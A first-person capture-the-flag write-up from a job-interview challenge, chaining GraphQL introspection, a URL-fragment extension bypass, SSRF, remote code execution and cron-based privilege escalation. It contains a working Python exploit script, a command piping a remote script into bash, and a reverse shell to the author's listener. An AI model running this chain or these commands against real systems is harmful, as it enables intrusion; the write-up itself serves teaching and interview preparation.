Leon Johnson

When the recruiter told me the technical challenge would be a CTF with a five-day window, I laughed. “What am I going to do with the other four days?”

Then they sent me the URL.

I opened it in a browser and stared at something I’d never seen before. No login page. No web app. Just a raw endpoint returning JSON with a message about queries and mutations. It was GraphQL. And at that point in my career, I had zero experience with it.

So after talking all that smack, I had a choice: put up or shut up.

The rules were straightforward. No scanners, no Nmap, no Dirbuster, complete it on your own, and please don’t rm -rf / the box. Three flags hidden on the system. Five days to find them.

I found all three. It took me the better part of those five days, and most of the first two were spent just learning how GraphQL works. The path went from introspection to information leakage to SSRF to remote code execution to privilege escalation via a writable cron script. Five findings chained together, each one unlocking the next.

This is the story of how I went from “what the hell is GraphQL” to capturing all three flags.

The Starting Point

All I had was a URL pointing to port 50342 on an Azure IP. Visiting it in a browser confirmed a GraphQL endpoint. Not that I knew what I was looking at right away.

GraphQL endpoint identified

I used graphw00f to fingerprint the GraphQL engine. It came back as Ariadne.

graphw00f identifying Ariadne

Knowing the engine matters. Different GraphQL implementations have different default behaviors around introspection, batching, and query depth limits. I looked up Ariadne in the GraphQL Threat Matrix to see what was enabled by default.

Mapping the API: Introspection Was On

I fired an introspection query at the endpoint to pull the full schema. It worked. The API returned everything: types, fields, queries, return values.

Introspection enabled, full schema returned

I loaded the schema into GraphQL Voyager to visualize it. The API only had two query operations: metadata and getImage.

GraphQL Voyager showing the schema

Two operations. One that fetches metadata about the server, one that fetches images from URLs. That’s a small attack surface, but both of those are interesting.

In production, introspection should be disabled. It’s the equivalent of handing someone the full API documentation, including internal fields and types that were never meant to be public-facing. For this CTF it was the entry point that made everything else possible.

Information Leakage: The Metadata Query

The metadata query returned the server’s username, IP address, and a list of internal ports.

Metadata query leaking internal port numbers

That port list became the target list for the SSRF attack. Without this leak I would have had to guess or brute-force internal ports. Instead the API just told me where to look.

Breaking the Input Validation on getImage

The getImage operation fetches a URL and returns the content. It enforces a .jpg extension check, rejecting anything that doesn’t end in .jpg.

Extension validation error

I loaded a legitimate JPEG to confirm the endpoint worked as expected. It returned the image data encoded in the JSON response.

Legitimate JPEG fetched successfully

Then I tested the filter. I created a text file called cat.txt containing a bash script and hosted it on an AWS EC2 instance I controlled.

Created cat.txt with script contents

The trick was a URL fragment. Appending #.jpg to the URL satisfies the extension check because the fragment is part of the URL string, but the server ignores it when making the actual HTTP request. http://my-server/cat.txt#.jpg passes validation and fetches cat.txt.

Server logs confirming the fetch of cat.txt

The extension check was client-side string matching, not actual content validation. No MIME type check, no magic byte verification. If it ends in .jpg (or looks like it does), it goes through.

SSRF: Scanning the Internal Network

With the extension bypass working, I pointed getImage at the internal ports leaked by the metadata query. I used Burp Intruder to send requests to each port on the loopback interface.

Burp Intruder scanning internal ports via SSRF

I filtered for responses that didn’t contain "success":false to find live services. Two ports came back: 31232 and 31337. Port 31337 returned an Apache/2.4.41 server header. (31337 = “elite” in leet speak. Cute.)

Flag 1: The Apache Server on 31337

I made a GET request to the web root of the service on port 31337 through the SSRF. The response was a directory listing with a file called s0c14l_fl4g.txt.

Flag 1 file found in directory listing

I wrote a Python script to make the GraphQL requests and clean up the HTML-encoded responses so I could work from the command line instead of Burp for the rest of the challenge.

./flags1.py http://target:50342/graphql http://127.0.0.1:31337/s0c14l_fl4g.txt#.jpg

Flag 1 contents retrieved

Flag 1: sh0luv_f4k3_Gr4phQL_fl4g_1

Flag 2: Remote Code Execution via Internal Terminal

The service on port 31232 was more interesting. The response from its web root contained HTML for a form at /terminal.

Terminal form discovered on internal port

I tried to access /terminal directly and got an error message telling me the command parameter needed to be base64 encoded.

Base64 encoding required

So I base64 encoded ls -al and sent it. Back came a directory listing.

Directory listing from command execution

That’s RCE. An internal web form that takes base64-encoded system commands and executes them. Reachable from the outside through the SSRF chain.

I wrote a second Python script that automated the encoding, the GraphQL query, the SSRF request to the internal terminal, and the response cleanup:

#!/usr/bin/env python

import argparse
import requests
import base64
import json
from bs4 import BeautifulSoup

def execute_graphql(base_url, command):
    encoded_command = base64.b64encode(command.encode()).decode() + "#.jpg"
    payload = {
        "query": """
            query getImage ($url: String) {
                getImage (url: $url) {
                    success error data
                    __typename
                }
                __typename
            }
        """,
        "variables": {
            "url": f"http://127.0.0.1:31232/terminal?command={encoded_command}"
        }
    }
    headers = {'Content-Type': 'application/json'}
    response = requests.post(f"{base_url}/graphql", headers=headers, json=payload)
    json_data = response.json()
    html_content = json_data.get('data', {}).get('getImage', {}).get('data', '')
    soup = BeautifulSoup(html_content, 'html.parser')
    return soup.get_text().strip()

With this script I had a command shell piped through three layers: my terminal, the GraphQL endpoint, the SSRF to the internal terminal. I cat‘d the second flag file.

Flag 2 retrieved via RCE

Flag 2: sh0luv_f4k3_SSRF_RC3_fl4g_2

Flag 3: Privilege Escalation via Writable Cron Script

The RCE was running as InterviewUser, a non-privileged account. The third flag was presumably only readable by InterviewAdmin. I needed to escalate.

I pulled LinEnum.sh from my EC2 server and ran it on the target to enumerate privilege escalation paths:

./flags2.py -c "curl https://my-server/LinEnum.sh | bash"

LinEnum output on the target

LinEnum found a cron job running every minute as InterviewAdmin. The job executed /tmp/cleanup.sh.

Cron job running as InterviewAdmin

Cron job confirmed in process list

Here’s the problem: cleanup.sh was owned by InterviewUser. The admin’s cron job was executing a script that the compromised user could modify.

cleanup.sh owned by InterviewUser

I used sed to overwrite the IP address in cleanup.sh with the address of a netcat listener I had running on my EC2 instance. The next time the cron fired (within 60 seconds), the reverse shell connected back to me as InterviewAdmin.

Reverse shell as InterviewAdmin

With admin privileges I read the final flag.

Flag 3 contents

Flag 3: sh0luv_f4k3_pr1v3sc_fl4g_3

The Full Chain

Five findings, three flags, one continuous attack path:

  1. Introspection enabled gave me the full API schema and revealed the two query operations
  2. Metadata query leaked internal ports, giving me a target list for SSRF
  3. Input validation bypass (URL fragment trick) let me fetch arbitrary content through getImage
  4. SSRF let me reach two internal services: a static file server (flag 1) and a command execution terminal (flags 2 and 3)
  5. Writable cron script running under admin privileges gave me escalation from InterviewUser to InterviewAdmin

Each finding was only useful because of the one before it. Introspection alone is low severity. SSRF alone requires a target. The terminal form is internal-only. The cron script requires write access. But chained together they go from an unauthenticated GraphQL query to root-equivalent access on the box.

Interview Observations

This challenge tested a different skill set than the [[Interview Hacking: The Code Review]]. That one was static analysis, reading Python files and spotting insecure patterns. This one was a live penetration test: enumerate, chain, escalate.

A few things that mattered here:

Tooling fluency. Knowing that graphw00f exists and can fingerprint a GraphQL engine. Knowing that Burp Intruder can iterate over a port list. Knowing that LinEnum.sh automates the privesc enumeration you’d otherwise do manually. None of this is hard to learn, but you need to have it in your toolkit before you sit down with a ticking clock.

Writing scripts mid-engagement. I wrote two Python scripts during the challenge. The first cleaned up the HTML-encoded GraphQL responses so I could read flag contents from my terminal. The second automated the full SSRF-to-RCE chain so I could run arbitrary commands without clicking through Burp for each one. Being able to code on the fly is the difference between spending your time on the interesting problems versus fighting your tools.

Recognizing the chain. The challenge was designed so that each finding feeds into the next. That’s deliberate. Interviewers want to see if you can follow the thread from recon to escalation without getting stuck enumerating things that don’t matter.

Not overthinking the rules. “No scanners” and “no Nmap” means they want to see manual methodology, not that you should avoid automation entirely. Burp Intruder on a known port list is fine. A Python script to automate your exploit chain is fine. They’re testing your process, not your tolerance for repetitive clicking.